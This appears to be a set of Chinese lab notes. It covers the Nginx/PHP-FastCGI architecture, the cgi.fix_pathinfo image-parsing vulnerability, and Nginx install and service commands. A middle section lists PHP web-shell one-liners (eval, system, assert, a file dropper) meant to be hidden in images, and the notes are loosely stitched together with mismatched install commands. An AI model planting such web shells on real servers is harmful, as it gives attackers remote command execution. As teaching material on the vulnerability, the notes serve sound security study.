Nginx+PHP/FastCGI构建的WEB服务器工作原理
Nginx (“engine x”) 是一个高性能的 HTTP和反向代理服务器,
Nginx作为WEB服务器可以处理静态文件,
索引文件以及自动索引,
能够使用缓存加速反向代理,
并提供简单的负载均衡及容错、模块化的架构等功能。
Nginx由内核和模块组成,其中,内核的设计非常微小和简洁,完成的工作也非常简单,
仅仅通过查找配置文件将客户端请求映射到一个location block
(location是Nginx配置中的一个指令,用于URL匹配),
而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。
Nginx的模块从结构上分为核心模块、基础模块和第三方模块:
1)核心模块:HTTP模块、EVENT模块和MAIL模块;
2)基础模块:HTTP Access模块、HTTP FastCGI模块、HTTP Proxy模块和HTTP Rewrite模块;
3)第三方模块:HTTP Upstream Request Hash模块、Notice模块和HTTP Access Key模块。
用户根据自己的需要开发的模块都属于第三方模块。
正是有了这么多模块的支撑,Nginx的功能才会如此强大。
Nginx的模块从功能上分为如下三类。
1)Handlers(处理器模块):
此类模块直接处理请求,并进行输出内容和修改headers信息等操作。
Handlers处理器模块一般只能有一个。
2)Filters (过滤器模块):
此类模块主要对其他处理器模块输出的内容进行修改操作,最后由Nginx输出。
3)Proxies (代理类模块):
此类模块是Nginx的HTTP Upstream之类的模块,
这些模块主要与后端一些服务比如FastCGI等进行交互,实现服务代理和负载均衡等功能。
Nginx模块常规的HTTP请求和响应的过程:
*********************************************************************
FastCGI(CGI: Common Gateway Interface, “公共网关接口”)
是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。
多数流行的HTTP server都支持FastCGI,包括Apache、Nginx和lighttpd等,
同时,FastCGI也被许多脚本语言所支持,其中就有PHP。
FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,
同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。
当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,
然后将得到的结果返回给浏览器。
这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,
这在很大程度上提高了整个应用系统的性能。
但Nginx本身并不支持对PHP进行解析,因此Nginx在作为PHP应用的WEB服务器时,
实际上是通过反向代理功能将对PHP页面的请求快速地转交给
诸如FastCGI这样的通讯接口转发给PHP进行解析。
Nginx+PHP/FastCGI运行原理
Nginx不支持对外部程序的直接调用或者解析,
所有的外部程序(包括PHP)必须通过FastCGI接口来调用。
FastCGI接口在Linux下是socket
(这个socket可以是文件socket,也可以是ip socket)。
wrapper:为了调用CGI程序,还需要一个FastCGI的wrapper
(wrapper可以理解为用于启动另一个程序的程序),
这个wrapper绑定在某个固定socket上,如端口或者文件socket。
当Nginx将CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接收到请求,
然后Fork(派生)出一个新的线程,
这个线程调用解释器或者外部程序处理脚本并读取返回数据;
接着,wrapper再将返回的数据通过FastCGI接口,沿着固定的socket传递给Nginx;
最后,Nginx将返回的数据(html页面或者图片)发送给客户端。
这就是Nginx+FastCGI的整个运作过程,如下图所示。
所以,我们首先需要一个wrapper,需要完成的工作:
(1).通过调用fastcgi(库)的函数通过socket和ningx通信
(读写socket是fastcgi内部实现的功能,对wrapper是非透明的);
(2).调度thread,进行fork和kill;
(3).和application(php)进行通信。
这个wrapper就是FastCGI进程管理器,也可以称为FastCGI引擎,
FastCGI进程管理器在脚本解析服务器上启动一个
或者多个守护进程对动态脚本进行解析,
而HTTPServer可以完全解放出来,更好地进行响应和并发处理。
PHP-FPM就是支持PHP的一种FastCGI进程管理器。
其整体工作流程:
(1).FastCGI进程管理器php-fpm自身初始化,
启动主进程php-fpm和启动start_servers个CGI 子进程。
主进程php-fpm主要是管理fastcgi子进程,监听服务端口。
fastcgi子进程等待来自Web Server的连接。
(2).当客户端请求到达Web Server Nginx是时,Nginx通过location指令,
将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理,
即Nginx通过location指令,将所有以php为后缀的文件都交给127.0.0.1:xxxx来处理。
(3).FastCGI进程管理器PHP-FPM选择并连接到一个子进程CGI解释器。
Web server将CGI环境变量和标准输入发送到FastCGI子进程。
(4).FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。
当FastCGI子进程关闭连接时,请求便告处理完成。
(5).FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在 WebServer中)的下一个连接。
PHP CGI 中 fix_pathinfo 引起的解析漏洞分析
这个安全问题最早被人所了解是通过国内安全组织80sec的一篇文章
《nginx文件类型错误解析漏洞》
文章指出当Nginx配置FastCGI使用PHP时,
会将诸如http://www.test.com/test.jpg/anything.php 这样的请求,
把test.jpg当作PHP文件来进行解析,而anything.php这个文件并不存在。
实际上这并不是一个Nginx的漏洞,而是
PHP5默认配置的缺陷造成的。
问题的本质是什么呢?
比如, 下面的Nginx conf(Nginx配置文件):
location ~ .php($|/) {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
set $script $uri;
set $path_info "";
if ($uri ~ "^(.+\.php)(/.*)") {
set $script $1;
set $path_info $2;
}
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$script;
fastcgi_param SCRIPT_NAME $script;
fastcgi_param PATH_INFO $path_info;
}
当我们发出http://www.test.com/test.jpg/anything.php这样的请求时,
通过“^(.+\.php)(/.*)”这段正则匹配后,
SCRIPT_NAME会被设置为“test.jpg/anything.php”,
继而构造成SCRIPT_FILENAME传递给整个PHP CGI,
但是PHP又为什么会接受这样的参数,并且把test.jpg解析了呢?
问题就在于PHP的CGI SAPI中的参数cgi.fix_pathinfo这个参数了。
关于cgi.fix_pathinfo这个参数的描述:
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's
; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting
; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
cgi.fix_pathinfo=1
上述描述了默认情况cgi.fix_pathinfo的值为1,
那么如果开启了这个选项,就会触发在PHP中的如下逻辑:
/*
* if the file doesn't exist, try to extract PATH_INFO out
* of it by stat'ing back through the '/'
* this fixes url's like /info.php/test
*/
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
....//以下省略.
PHP CGI 以 / 为分隔符号从后向前依次检查路径,
当检测到test.jpg/anything.php时,
PHP会认为
SCRIPT_FILENAME是test.jpg,
而anything.php是PATH_INFO,
然后PHP就把test.jpg当作一个PHP文件来解释执行。
在很多使用 php-fpm (<0.6) 的主机中也会出现这个问题,
但新的 php-fpm 的已经关闭了 cgi.fix_pathinfo。
了解Nginx的工作原理,理解Nginx畸形解析漏洞的形成原因;
掌握Nginx几种常见的漏洞测试及利用方法;
掌握Nginx基本的安全加固策略
提示:请使用windows的画图自己画一张图片,另存为jpg
(/b二进制binary模式,/a ascii模式)
eval($_POST[s])?>
<?php @eval($_POST[c])?>
<?php system($_REQUEST['cmd']);?>
<?php assert($_POST[c]);?>
<?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>
思路扩展:
Exif、伪装图片头等
高性能的HTTP和反向代理
转发配置
Server{ listen server_name root location /{ } location~ }
gcc是linux下的编译器
可以编译 C,C++,Ada,Object C和Java等语言
命令:查看gcc版本
gcc -v
安装命令:
yum -y install gcc
pcre是一个perl库,包括perl兼容的正则表达式库,
nginx的http模块使用pcre来解析正则表达式,所以需要安装pcre库。
安装命令:
yum install -y zlib zlib-devel
zlib库提供了很多种压缩和解压缩方式
nginx使用zlib对http包的内容进行gzip,所以需要安装
安装命令:
yum install -y pcre pcre-devel
openssl是web安全通信的基石,没有openssl,可以说我们的信息都是在裸奔。。。。。。
安装命令:
yum install -y openssl openssl-devel
1.停止Nginx服务的四种方法
从容停止服务
这种方法较stop相比就比较温和一些了,需要进程完成当前工作后再停止。
nginx -s quit
立即停止服务
这种方法比较强硬,无论进程是否在工作,都直接停止进程。
nginx -s stop
systemctl 停止
systemctl属于Linux命令
systemctl stop nginx.service
killall 方法杀死进程
直接杀死进程,在上面无效的情况下使用,态度强硬,简单粗暴!
killall nginx
2.启动Nginx
nginx直接启动
nginx
systemctl命令启动
systemctl start nginx.service
3.查看启动后记录
ps aux | grep nginx
4.重启Nginx服务
systemctl restart nginx.service
5.重新载入配置文件
当有系统配置文件有修改,用此命令,建议不要停止再重启,以防报错!
nginx -s reload
6.查看端口号
netstat -tlnp
通过配置nginx的配置文件/usr/local/nginx/conf/nginx.conf实现开关效果
1.启用缓存
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {
#设置缓存上面定义的后缀文件缓存到浏览器的生存时间
expires 3d;
}
2.禁用缓存
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$ {
#禁止缓存,每次都从服务器请求
add_header Cache-Control no-store;
}
ps -ef | grep nginx